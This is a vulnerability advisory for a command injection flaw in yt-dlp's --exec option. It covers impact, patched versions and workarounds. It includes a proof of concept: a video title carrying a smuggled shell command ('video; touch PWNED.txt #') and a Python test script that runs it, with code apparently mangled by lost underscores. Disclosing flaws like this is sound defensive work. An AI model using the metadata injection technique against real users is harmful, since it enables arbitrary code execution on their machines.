PT-2026-53030 · Pypi · Yt-Dlp

Published

2026-06-16

·

Updated

2026-06-16

CVSS v3.1

7.5

High

VectorAV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

yt-dlp's --exec option is vulnerable to arbitrary command injection when handling untrusted metadata if the argument uses standard string formatting (e.g. %(title)s) or other unsafe conversions. An attacker could achieve remote code execution on the user's machine via maliciously crafted metadata containing quotes or other special shell characters.

Details

Since yt-dlp version 2021.04.11, the --exec option has supported "output template syntax", which is a superset of Python's printf-style string formatting also used by the --output option. This means the user is able to pass a "command template" as an argument to the --exec option which will be executed by the user's shell. The command template allows for the downloaded video's metadata to be interpolated into the command string.
yt-dlp implements a %()q conversion, which will shell-quote/escape any metadata value such that it is safe to be interpolated into a command string. However, there are unsafe conversions such as %()s which result in the command template being formatted with the raw metadata string. These unsafe conversions do not perform any sanitization or escaping for shell contexts. If one or more of these unsafe conversions is used in the command template, an attacker can craft a malicious metadata value containing shell operators (e.g. ;, &, |) to break out of the intended command and execute payload commands.

Impact

The impact is limited to users who pass an --exec command template containing unsafe conversions in their yt-dlp command or configuration file: %()s, %()a, %()r, %()j, %()S (including any of their flagged variants.)

Patches

yt-dlp version 2026.06.09 fixes this issue by restricting the conversions that can be used in an --exec command template to those known to be safe: %()d, %()i, %()f, %()q (including any of their flagged variants.) It also restricts the characters that can be used in command template defaults and placeholders when the user passes an --exec argument containing output template syntax.

Workarounds

This vulnerability can be fully mitigated by doing any of the following:
  • Upgrade yt-dlp to version 2026.06.09 or later
  • Only use safe conversions (e.g. %()d, %()i, %()f, %()q) in any --exec command templates
  • Do not use "output template syntax" in any --exec arguments
  • Do not use the --exec option

Proof-of-Concept

  1. An attacker sets the title of a video to a malicious payload, e.g.: video; touch pwned.txt #
  2. The victim downloads this video using yt-dlp with the --exec flag.
Reproduction steps (simulated):
  1. Create a python script poc.py to simulate the internal behavior:
bash
import unittest
import os

from yt dlp.postprocessor.exec import ExecPP
from yt dlp.YoutubeDL import YoutubeDL
from yt dlp.utils import PostProcessingError

# Import Popen to use the REAL one for the PoC (to actually create the file)
from yt dlp.utils import Popen as RealPopen

class TestDemonstrativePoC(unittest.TestCase):
  FILE NAME = "PWNED.txt"

  def setUp(self):
    # Remove the file if it exists
    if os.path.exists(self.FILE NAME):
      os.remove(self.FILE NAME)

  def test 1 demonstrate vulnerability simulated(self):
    """
    Simulates the code BEFORE the fix to show what would happen.
    """
    print("
--- TEST 1: Simulating vulnerable state ---")

    # 1. Define the vulnerable Parse Method
    def vulnerable parse cmd(self, cmd, info):
      # This mimics the code before my patch
      tmpl, tmpl dict = self. downloader.prepare outtmpl(cmd, info)
      if tmpl dict:
        return self. downloader.escape outtmpl(tmpl) % tmpl dict
      return cmd

    # 2. Patch the class temporarily
    original parse cmd = ExecPP.parse cmd
    ExecPP.parse cmd = vulnerable parse cmd

    info = {
      'id': '1234',
      # MALICIOUS TITLE:
      # 1. 'video' gets echoed
      # 2. ; separator
      # 3. touch PWNED.txt creates the file
      # 4. # comments out the rest
      'title': f'video; touch {self.FILE NAME} #',
      'ext': 'mp4',
      'filepath': 'video.mp4'
    }

    ydl = YoutubeDL({'verbose': False, 'quiet': True})

    try:
      print(f"[*] Payload Title: {info['title']}")
      print("[*] Executing: echo %(title)s")

      # Use the REAL Popen to actually execute shell commands
      import yt dlp.postprocessor.exec
      original popen ref = yt dlp.postprocessor.exec.Popen
      yt dlp.postprocessor.exec.Popen = RealPopen

      pp = ExecPP(ydl, 'echo %(title)s')
      pp.run(info)

      # Restore Popen ref
      yt dlp.postprocessor.exec.Popen = original popen ref

      # Check if file was created
      if os.path.exists(self.FILE NAME):
        print(f"[!] VULNERABILITY CONFIRMED: File '{self.FILE NAME}' was created on disk!")
      else:
        print("[?] File not created. Payload might have failed.")

    finally:
      # Restore the secure method
      ExecPP.parse cmd = original parse cmd

if  name  == ' main ':
  unittest.main()
  1. Run the script: python3 poc.py
  2. Check the directory. A file named PWNED.txt will be created, proving arbitrary command execution.
poc

Fix

OS Command Injection

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Weakness Enumeration

Related Identifiers

GHSA-69QJ-PVH9-C5WG

Affected Products

Yt-Dlp